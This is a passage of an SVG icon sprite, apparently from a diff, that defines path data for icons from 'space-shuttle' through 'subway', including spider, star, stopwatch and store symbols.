94.86-13.05-31.56-33.29-65.23-66.41-94.86-78.83-76.84-184.8-82.87-213.84-83-4.41-.02-7.79 3.4-7.75 7.82.23 27.92 7.14 126.14 88.77 199.3C172.79 480.94 256 480 288 480s115.19.95 199.23-80.88c81.64-73.17 88.54-171.38 88.77-199.3.04-4.42-3.34-7.84-7.75-7.82zM287.98 302.6c12.82-18.85 27.6-35.78 44.09-50.52 19.09-18.61 39.58-33.3 60.26-45.18-16.44-70.5-51.72-133.05-96.73-172.22-4.11-3.58-11.02-3.58-15.14 0-44.99 39.14-80.27 101.63-96.74 172.07 20.37 11.7 40.5 26.14 59.22 44.39a282.768 282.768 0 0 1 45.04 51.46z"></path> + </symbol> + <symbol id="space-shuttle" viewBox="0 0 640 512"> + <path d="M592.604 208.244C559.735 192.836 515.777 184 472 184H186.327c-4.952-6.555-10.585-11.978-16.72-16H376C229.157 137.747 219.403 32 96.003 32H96v128H80V32c-26.51 0-48 28.654-48 64v64c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v16c-23.197 0-32 10.032-32 24v40c0 13.983 8.819 24 32 24v64c0 35.346 21.49 64 48 64V352h16v128h.003c123.4 0 133.154-105.747 279.997-136H169.606c6.135-4.022 11.768-9.445 16.72-16H472c43.777 0 87.735-8.836 120.604-24.244C622.282 289.845 640 271.992 640 256s-17.718-33.845-47.396-47.756zM488 296a8 8 0 0 1-8-8v-64a8 8 0 0 1 8-8c31.909 0 31.942 80 0 80z"></path> + </symbol> + <symbol id="spell-check" viewBox="0 0 576 512"> + <path d="M272 256h91.36c43.2 0 82-32.2 84.51-75.34a79.82 79.82 0 0 0-25.26-63.07 79.81 79.81 0 0 0 9.06-44.91C427.9 30.57 389.3 0 347 0h-75a16 16 0 0 0-16 16v224a16 16 0 0 0 16 16zm40-200h40a24 24 0 0 1 0 48h-40zm0 96h56a24 24 0 0 1 0 48h-56zM155.12 22.25A32 32 0 0 0 124.64 0H99.36a32 32 0 0 0-30.48 22.25L.59 235.73A16 16 0 0 0 16 256h24.93a16 16 0 0 0 15.42-11.73L68.29 208h87.42l11.94 36.27A16 16 0 0 0 183.07 256H208a16 16 0 0 0 15.42-20.27zM89.37 144L112 75.3l22.63 68.7zm482 132.48l-45.21-45.3a15.88 15.88 0 0 0-22.59 0l-151.5 151.5-55.41-55.5a15.88 15.88 0 0 0-22.59 0l-45.3 45.3a16 16 0 0 0 0 22.59l112 112.21a15.89 15.89 0 0 0 22.6 0l208-208.21a16 16 0 0 0-.02-22.59z"></path> + </symbol> + <symbol id="spider" viewBox="0 0 576 512"> + <path d="M151.17 167.35L177.1 176h4.67l5.22-26.12c.72-3.58 1.8-7.58 3.21-11.79l-20.29-40.58 23.8-71.39c2.79-8.38-1.73-17.44-10.12-20.24L168.42.82c-8.38-2.8-17.45 1.73-20.24 10.12l-25.89 77.68a32.04 32.04 0 0 0 1.73 24.43l27.15 54.3zm422.14 182.03l-52.75-79.12a32.002 32.002 0 0 0-26.62-14.25H416l68.99-24.36a32.03 32.03 0 0 0 16.51-12.61l53.6-80.41c4.9-7.35 2.91-17.29-4.44-22.19l-13.31-8.88c-7.35-4.9-17.29-2.91-22.19 4.44l-50.56 75.83L404.1 208H368l-10.37-51.85C355.44 145.18 340.26 96 288 96c-52.26 0-67.44 49.18-69.63 60.15L208 208h-36.1l-60.49-20.17L60.84 112c-4.9-7.35-14.83-9.34-22.19-4.44l-13.31 8.88c-7.35 4.9-9.34 14.83-4.44 22.19l53.6 80.41a32.03 32.03 0 0 0 16.51 12.61L160 256H82.06a32.02 32.02 0 0 0-26.63 14.25L2.69 349.38c-4.9 7.35-2.92 17.29 4.44 22.19l13.31 8.88c7.35 4.9 17.29 2.91 22.19-4.44l48-72h47.06l-60.83 97.33A31.988 31.988 0 0 0 72 418.3V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-73.11l74.08-118.53c-1.01 14.05-2.08 28.11-2.08 42.21C192 399.64 232.76 448 288 448s96-48.36 96-101.43c0-14.1-1.08-28.16-2.08-42.21L456 422.89V496c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-77.71c0-6-1.69-11.88-4.86-16.96L438.31 304h47.06l48 72c4.9 7.35 14.84 9.34 22.19 4.44l13.31-8.88c7.36-4.9 9.34-14.83 4.44-22.18zM406.09 97.51l-20.29 40.58c1.41 4.21 2.49 8.21 3.21 11.79l5.22 26.12h4.67l25.93-8.65 27.15-54.3a31.995 31.995 0 0 0 1.73-24.43l-25.89-77.68C425.03 2.56 415.96-1.98 407.58.82l-15.17 5.06c-8.38 2.8-12.91 11.86-10.12 20.24l23.8 71.39z"></path> + </symbol> + <symbol id="spinner" viewBox="0 0 512 512"> + <path d="M304 48c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-48 368c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm208-208c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zM96 256c0-26.51-21.49-48-48-48S0 229.49 0 256s21.49 48 48 48 48-21.49 48-48zm12.922 99.078c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.491-48-48-48zm294.156 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48c0-26.509-21.49-48-48-48zM108.922 60.922c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.491-48-48-48z"></path> + </symbol> + <symbol id="splotch" viewBox="0 0 512 512"> + <path d="M472.29 195.89l-67.06-22.95c-19.28-6.6-33.54-20.92-38.14-38.3L351.1 74.19c-11.58-43.77-76.57-57.13-109.98-22.62l-46.14 47.67c-13.26 13.71-33.54 20.93-54.2 19.31l-71.88-5.62c-52.05-4.07-86.93 44.88-59.03 82.83l38.54 52.42c11.08 15.07 12.82 33.86 4.64 50.24L24.62 355.4c-20.59 41.25 22.84 84.87 73.49 73.81l69.96-15.28c20.11-4.39 41.45 0 57.07 11.73l54.32 40.83c39.32 29.56 101.04 7.57 104.45-37.22l4.7-61.86c1.35-17.79 12.8-33.86 30.63-42.99l62-31.74c44.88-22.96 39.59-80.17-8.95-96.79z"></path> + </symbol> + <symbol id="spray-can" viewBox="0 0 512 512"> + <path d="M224 32c0-17.67-14.33-32-32-32h-64c-17.67 0-32 14.33-32 32v96h128V32zm256 96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-256 32H96c-53.02 0-96 42.98-96 96v224c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V256c0-53.02-42.98-96-96-96zm-64 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zM480 96c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm-96 32c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm-96-96c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 0c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32zm96 192c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z"></path> + </symbol> + <symbol id="square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z"></path> + </symbol> + <symbol id="square-full" viewBox="0 0 512 512"> + <path d="M512 512H0V0h512v512z"></path> + </symbol> + <symbol id="square-root-alt" viewBox="0 0 576 512"> + <path d="M571.31 251.31l-22.62-22.62c-6.25-6.25-16.38-6.25-22.63 0L480 274.75l-46.06-46.06c-6.25-6.25-16.38-6.25-22.63 0l-22.62 22.62c-6.25 6.25-6.25 16.38 0 22.63L434.75 320l-46.06 46.06c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0L480 365.25l46.06 46.06c6.25 6.25 16.38 6.25 22.63 0l22.62-22.62c6.25-6.25 6.25-16.38 0-22.63L525.25 320l46.06-46.06c6.25-6.25 6.25-16.38 0-22.63zM552 0H307.65c-14.54 0-27.26 9.8-30.95 23.87l-84.79 322.8-58.41-106.1A32.008 32.008 0 0 0 105.47 224H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h43.62l88.88 163.73C168.99 503.5 186.3 512 204.94 512c17.27 0 44.44-9 54.28-41.48L357.03 96H552c13.25 0 24-10.75 24-24V24c0-13.26-10.75-24-24-24z"></path> + </symbol> + <symbol id="stamp" viewBox="0 0 512 512"> + <path d="M32 512h448v-64H32v64zm384-256h-66.56c-16.26 0-29.44-13.18-29.44-29.44v-9.46c0-27.37 8.88-53.41 21.46-77.72 9.11-17.61 12.9-38.39 9.05-60.42-6.77-38.78-38.47-70.7-77.26-77.45C212.62-9.04 160 37.33 160 96c0 14.16 3.12 27.54 8.69 39.58C182.02 164.43 192 194.7 192 226.49v.07c0 16.26-13.18 29.44-29.44 29.44H96c-53.02 0-96 42.98-96 96v32c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-32c0-53.02-42.98-96-96-96z"></path> + </symbol> + <symbol id="star" viewBox="0 0 576 512"> + <path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path> + </symbol> + <symbol id="star-and-crescent" viewBox="0 0 512 512"> + <path d="M340.47 466.36c-1.45 0-6.89.46-9.18.46-116.25 0-210.82-94.57-210.82-210.82S215.04 45.18 331.29 45.18c2.32 0 7.7.46 9.18.46 7.13 0 13.33-5.03 14.75-12.07 1.46-7.25-2.55-14.49-9.47-17.09C316.58 5.54 286.39 0 256 0 114.84 0 0 114.84 0 256s114.84 256 256 256c30.23 0 60.28-5.49 89.32-16.32 5.96-2.02 10.28-7.64 10.28-14.26 0-8.09-6.39-15.06-15.13-15.06zm162.99-252.5l-76.38-11.1-34.16-69.21c-1.83-3.7-5.38-5.55-8.93-5.55s-7.1 1.85-8.93 5.55l-34.16 69.21-76.38 11.1c-8.17 1.18-11.43 11.22-5.52 16.99l55.27 53.87-13.05 76.07c-1.11 6.44 4.01 11.66 9.81 11.66 1.53 0 3.11-.36 4.64-1.17L384 335.37l68.31 35.91c1.53.8 3.11 1.17 4.64 1.17 5.8 0 10.92-5.23 9.81-11.66l-13.05-76.07 55.27-53.87c5.91-5.77 2.65-15.81-5.52-16.99z"></path> + </symbol> + <symbol id="star-half" viewBox="0 0 576 512"> + <path d="M288 0c-11.4 0-22.8 5.9-28.7 17.8L194 150.2 47.9 171.4c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.1 23 46 46.4 33.7L288 439.6V0z"></path> + </symbol> + <symbol id="star-half-alt" viewBox="0 0 536 512"> + <path d="M508.55 171.51L362.18 150.2 296.77 17.81C290.89 5.98 279.42 0 267.95 0c-11.4 0-22.79 5.9-28.69 17.81l-65.43 132.38-146.38 21.29c-26.25 3.8-36.77 36.09-17.74 54.59l105.89 103-25.06 145.48C86.98 495.33 103.57 512 122.15 512c4.93 0 10-1.17 14.87-3.75l130.95-68.68 130.94 68.7c4.86 2.55 9.92 3.71 14.83 3.71 18.6 0 35.22-16.61 31.66-37.4l-25.03-145.49 105.91-102.98c19.04-18.5 8.52-50.8-17.73-54.6zm-121.74 123.2l-18.12 17.62 4.28 24.88 19.52 113.45-102.13-53.59-22.38-11.74.03-317.19 51.03 103.29 11.18 22.63 25.01 3.64 114.23 16.63-82.65 80.38z"></path> + </symbol> + <symbol id="star-of-david" viewBox="0 0 464 512"> + <path d="M405.68 256l53.21-89.39C473.3 142.4 455.48 112 426.88 112H319.96l-55.95-93.98C256.86 6.01 244.43 0 232 0s-24.86 6.01-32.01 18.02L144.04 112H37.11c-28.6 0-46.42 30.4-32.01 54.61L58.32 256 5.1 345.39C-9.31 369.6 8.51 400 37.11 400h106.93l55.95 93.98C207.14 505.99 219.57 512 232 512s24.86-6.01 32.01-18.02L319.96 400h106.93c28.6 0 46.42-30.4 32.01-54.61L405.68 256zm-12.78-88l-19.8 33.26L353.3 168h39.6zm-52.39 88l-52.39 88H175.88l-52.39-88 52.38-88h112.25l52.39 88zM232 73.72L254.79 112h-45.57L232 73.72zM71.1 168h39.6l-19.8 33.26L71.1 168zm0 176l19.8-33.26L110.7 344H71.1zM232 438.28L209.21 400h45.57L232 438.28zM353.29 344l19.8-33.26L392.9 344h-39.61z"></path> + </symbol> + <symbol id="star-of-life" viewBox="0 0 480 512"> + <path d="M471.99 334.43L336.06 256l135.93-78.43c7.66-4.42 10.28-14.2 5.86-21.86l-32.02-55.43c-4.42-7.65-14.21-10.28-21.87-5.86l-135.93 78.43V16c0-8.84-7.17-16-16.01-16h-64.04c-8.84 0-16.01 7.16-16.01 16v156.86L56.04 94.43c-7.66-4.42-17.45-1.79-21.87 5.86L2.15 155.71c-4.42 7.65-1.8 17.44 5.86 21.86L143.94 256 8.01 334.43c-7.66 4.42-10.28 14.21-5.86 21.86l32.02 55.43c4.42 7.65 14.21 10.27 21.87 5.86l135.93-78.43V496c0 8.84 7.17 16 16.01 16h64.04c8.84 0 16.01-7.16 16.01-16V339.14l135.93 78.43c7.66 4.42 17.45 1.8 21.87-5.86l32.02-55.43c4.42-7.65 1.8-17.43-5.86-21.85z"></path> + </symbol> + <symbol id="step-backward" viewBox="0 0 448 512"> + <path d="M64 468V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12v176.4l195.5-181C352.1 22.3 384 36.6 384 64v384c0 27.4-31.9 41.7-52.5 24.6L136 292.7V468c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12z"></path> + </symbol> + <symbol id="step-forward" viewBox="0 0 448 512"> + <path d="M384 44v424c0 6.6-5.4 12-12 12h-48c-6.6 0-12-5.4-12-12V291.6l-195.5 181C95.9 489.7 64 475.4 64 448V64c0-27.4 31.9-41.7 52.5-24.6L312 219.3V44c0-6.6 5.4-12 12-12h48c6.6 0 12 5.4 12 12z"></path> + </symbol> + <symbol id="stethoscope" viewBox="0 0 512 512"> + <path d="M447.1 112c-34.2.5-62.3 28.4-63 62.6-.5 24.3 12.5 45.6 32 56.8V344c0 57.3-50.2 104-112 104-60 0-109.2-44.1-111.9-99.2C265 333.8 320 269.2 320 192V36.6c0-11.4-8.1-21.3-19.3-23.5L237.8.5c-13-2.6-25.6 5.8-28.2 18.8L206.4 35c-2.6 13 5.8 25.6 18.8 28.2l30.7 6.1v121.4c0 52.9-42.2 96.7-95.1 97.2-53.4.5-96.9-42.7-96.9-96V69.4l30.7-6.1c13-2.6 21.4-15.2 18.8-28.2l-3.1-15.7C107.7 6.4 95.1-2 82.1.6L19.3 13C8.1 15.3 0 25.1 0 36.6V192c0 77.3 55.1 142 128.1 156.8C130.7 439.2 208.6 512 304 512c97 0 176-75.4 176-168V231.4c19.1-11.1 32-31.7 32-55.4 0-35.7-29.2-64.5-64.9-64zm.9 80c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"></path> + </symbol> + <symbol id="sticky-note" viewBox="0 0 448 512"> + <path d="M312 320h136V56c0-13.3-10.7-24-24-24H24C10.7 32 0 42.7 0 56v400c0 13.3 10.7 24 24 24h264V344c0-13.2 10.8-24 24-24zm129 55l-98 98c-4.5 4.5-10.6 7-17 7h-6V352h128v6.1c0 6.3-2.5 12.4-7 16.9z"></path> + </symbol> + <symbol id="stop" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48z"></path> + </symbol> + <symbol id="stop-circle" viewBox="0 0 512 512"> + <path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm96 328c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16v160z"></path> + </symbol> + <symbol id="stopwatch" viewBox="0 0 448 512"> + <path d="M432 304c0 114.9-93.1 208-208 208S16 418.9 16 304c0-104 76.3-190.2 176-205.5V64h-28c-6.6 0-12-5.4-12-12V12c0-6.6 5.4-12 12-12h120c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-28v34.5c37.5 5.8 71.7 21.6 99.7 44.6l27.5-27.5c4.7-4.7 12.3-4.7 17 0l28.3 28.3c4.7 4.7 4.7 12.3 0 17l-29.4 29.4-.6.6C419.7 223.3 432 262.2 432 304zm-176 36V188.5c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12V340c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12z"></path> + </symbol> + <symbol id="stopwatch-20" viewBox="0 0 448 512"> + <path d="M398.5,190.91l.59-.61,26.59-26.58a16,16,0,0,0,0-22.63L403,118.41a16,16,0,0,0-22.63,0l-24.68,24.68A206.68,206.68,0,0,0,256,98.5V64h32a16,16,0,0,0,16-16V16A16,16,0,0,0,288,0H160a16.05,16.05,0,0,0-16,16V48a16.05,16.05,0,0,0,16,16h32V98.5A207.92,207.92,0,0,0,16.09,297.57C12.64,411.5,106.76,510.22,220.72,512,337.13,513.77,432,420,432,304A206,206,0,0,0,398.5,190.91ZM204.37,377.55a8.2,8.2,0,0,1,8.32,8.07v22.31a8.2,8.2,0,0,1-8.32,8.07H121.52a16.46,16.46,0,0,1-16.61-17.62c2.78-35.22,14.67-57.41,38.45-91.37,20.42-29.19,27.1-37.32,27.1-62.34,0-16.92-1.79-24.27-12.21-24.27-9.39,0-12.69,7.4-12.69,22.68v5.23a8.2,8.2,0,0,1-8.33,8.07h-24.9a8.2,8.2,0,0,1-8.33-8.07v-4.07c0-27.3,8.48-60.24,56.43-60.24,43,0,55.57,25.85,55.57,61,0,35.58-12.44,51.21-34.35,81.31-11.56,15-24.61,35.57-26.41,51.2ZM344,352.32c0,35.16-12.3,63.68-57.23,63.68C243.19,416,232,386.48,232,352.55V247.22c0-40.73,19.58-63.22,56.2-63.22C325,184,344,206.64,344,245.3ZM287.87,221.73c-9.41,0-13.23,7.5-13.23,20V357.68c0,13.11,3.59,20.59,13.23,20.59s13-8,13-21.27V241.06C300.89,229.79,297.88,221.73,287.87,221.73Z"></path> + </symbol> + <symbol id="store" viewBox="0 0 616 512"> + <path d="M602 118.6L537.1 15C531.3 5.7 521 0 510 0H106C95 0 84.7 5.7 78.9 15L14 118.6c-33.5 53.5-3.8 127.9 58.8 136.4 4.5.6 9.1.9 13.7.9 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18 20.1 44.3 33.1 73.8 33.1 29.6 0 55.8-13 73.8-33.1 18.1 20.1 44.3 33.1 73.8 33.1 4.7 0 9.2-.3 13.7-.9 62.8-8.4 92.6-82.8 59-136.4zM529.5 288c-10 0-19.9-1.5-29.5-3.8V384H116v-99.8c-9.6 2.2-19.5 3.8-29.5 3.8-6 0-12.1-.4-18-1.2-5.6-.8-11.1-2.1-16.4-3.6V480c0 17.7 14.3 32 32 32h448c17.7 0 32-14.3 32-32V283.2c-5.4 1.6-10.8 2.9-16.4 3.6-6.1.8-12.1 1.2-18.2 1.2z"></path> + </symbol> + <symbol id="store-alt" viewBox="0 0 640 512"> + <path d="M320 384H128V224H64v256c0 17.7 14.3 32 32 32h256c17.7 0 32-14.3 32-32V224h-64v160zm314.6-241.8l-85.3-128c-6-8.9-16-14.2-26.7-14.2H117.4c-10.7 0-20.7 5.3-26.6 14.2l-85.3 128c-14.2 21.3 1 49.8 26.6 49.8H608c25.5 0 40.7-28.5 26.6-49.8zM512 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V224h-64v272z"></path> + </symbol> + <symbol id="store-alt-slash" viewBox="0 0 640 512"> + <path d="M17.89,123.62,5.51,142.2c-14.2,21.3,1,49.8,26.59,49.8h74.26ZM576,413.42V224H512V364L384,265V224H330.92l-41.4-32H608c25.5,0,40.7-28.5,26.59-49.8l-85.29-128A32.18,32.18,0,0,0,522.6,0H117.42A31.87,31.87,0,0,0,90.81,14.2l-10.66,16L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.46A16,16,0,0,0,6.18,53.91L594.53,508.63A16,16,0,0,0,617,505.81l19.64-25.26a16,16,0,0,0-2.81-22.45ZM320,384H128V224H64V480a32,32,0,0,0,32,32H352a32,32,0,0,0,32-32V406.59l-64-49.47Z"></path> + </symbol> + <symbol id="store-slash" viewBox="0 0 640 512"> + <path d="M121.51,384V284.2a119.43,119.43,0,0,1-28,3.8,123.46,123.46,0,0,1-17.1-1.2,114.88,114.88,0,0,1-15.58-3.6V480c0,17.7,13.59,32,30.4,32H505.75L348.42,384Zm-28-128.09c25.1,0,47.29-10.72,64-27.24L24,120.05c-30.52,53.39-2.45,126.53,56.49,135A95.68,95.68,0,0,0,93.48,255.91ZM602.13,458.09,547.2,413.41V283.2a93.5,93.5,0,0,1-15.57,3.6,127.31,127.31,0,0,1-17.29,1.2,114.89,114.89,0,0,1-28-3.8v79.68L348.52,251.77a88.06,88.06,0,0,0,25.41,4.14c28.11,0,53-13,70.11-33.11,17.19,20.11,42.08,33.11,70.11,33.11a94.31,94.31,0,0,0,13-.91c59.66-8.41,88-82.8,56.06-136.4L521.55,15A30.1,30.1,0,0,0,495.81,0H112A30.11,30.11,0,0,0,86.27,15L76.88,30.78,43.19,3.38A14.68,14.68,0,0,0,21.86,6.19L3.2,31.45A16.58,16.58,0,0,0,5.87,53.91L564.81,508.63a14.69,14.69,0,0,0,21.33-2.82l18.66-25.26A16.58,16.58,0,0,0,602.13,458.09Z"></path> + </symbol> + <symbol id="stream" viewBox="0 0 512 512"> + <path d="M16 128h416c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H16C7.16 32 0 39.16 0 48v64c0 8.84 7.16 16 16 16zm480 80H80c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm-64 176H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16z"></path> + </symbol> + <symbol id="street-view" viewBox="0 0 512 512"> + <path d="M367.9 329.76c-4.62 5.3-9.78 10.1-15.9 13.65v22.94c66.52 9.34 112 28.05 112 49.65 0 30.93-93.12 56-208 56S48 446.93 48 416c0-21.6 45.48-40.3 112-49.65v-22.94c-6.12-3.55-11.28-8.35-15.9-13.65C58.87 345.34 0 378.05 0 416c0 53.02 114.62 96 256 96s256-42.98 256-96c0-37.95-58.87-70.66-144.1-86.24zM256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-64 192v96c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-96c17.67 0 32-14.33 32-32v-96c0-26.51-21.49-48-48-48h-11.8c-11.07 5.03-23.26 8-36.2 8s-25.13-2.97-36.2-8H208c-26.51 0-48 21.49-48 48v96c0 17.67 14.33 32 32 32z"></path> + </symbol> + <symbol id="strikethrough" viewBox="0 0 512 512"> + <path d="M496 224H293.9l-87.17-26.83A43.55 43.55 0 0 1 219.55 112h66.79A49.89 49.89 0 0 1 331 139.58a16 16 0 0 0 21.46 7.15l42.94-21.47a16 16 0 0 0 7.16-21.46l-.53-1A128 128 0 0 0 287.51 32h-68a123.68 123.68 0 0 0-123 135.64c2 20.89 10.1 39.83 21.78 56.36H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-180.24 96A43 43 0 0 1 336 356.45 43.59 43.59 0 0 1 292.45 400h-66.79A49.89 49.89 0 0 1 181 372.42a16 16 0 0 0-21.46-7.15l-42.94 21.47a16 16 0 0 0-7.16 21.46l.53 1A128 128 0 0 0 224.49 480h68a123.68 123.68 0 0 0 123-135.64 114.25 114.25 0 0 0-5.34-24.36z"></path> + </symbol> + <symbol id="stroopwafel" viewBox="0 0 512 512"> + <path d="M188.12 210.74L142.86 256l45.25 45.25L233.37 256l-45.25-45.26zm113.13-22.62L256 142.86l-45.25 45.25L256 233.37l45.25-45.25zm-90.5 135.76L256 369.14l45.26-45.26L256 278.63l-45.25 45.25zM256 0C114.62 0 0 114.62 0 256s114.62 256 256 256 256-114.62 256-256S397.38 0 256 0zm186.68 295.6l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-28.29-28.29-45.25 45.25 33.94 33.94 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-33.94-33.94-45.26 45.26 28.29 28.29c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0L256 414.39l-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l28.29-28.29-45.25-45.26-33.94 33.94 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 33.94-33.94-45.25-45.25-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0L69.32 295.6c-3.12-3.12-3.12-8.19 0-11.31L97.61 256l-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l28.29 28.29 45.25-45.26-33.94-33.94-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 33.94 33.94 45.26-45.25-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0L256 97.61l28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-28.29 28.29 45.26 45.25 33.94-33.94-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-33.94 33.94 45.25 45.26 28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31L414.39 256l28.29 28.28a8.015 8.015 0 0 1 0 11.32zM278.63 256l45.26 45.25L369.14 256l-45.25-45.26L278.63 256z"></path> + </symbol> + <symbol id="subscript" viewBox="0 0 512 512"> + <path d="M496 448h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 352h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="subway" viewBox="0 0 448 512"> + <path d="M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zM200 232V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm200 0V120c0-13.255-10.745-24-24-24H272c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm-48 56c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm-256 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z"></path> + </symbol> + 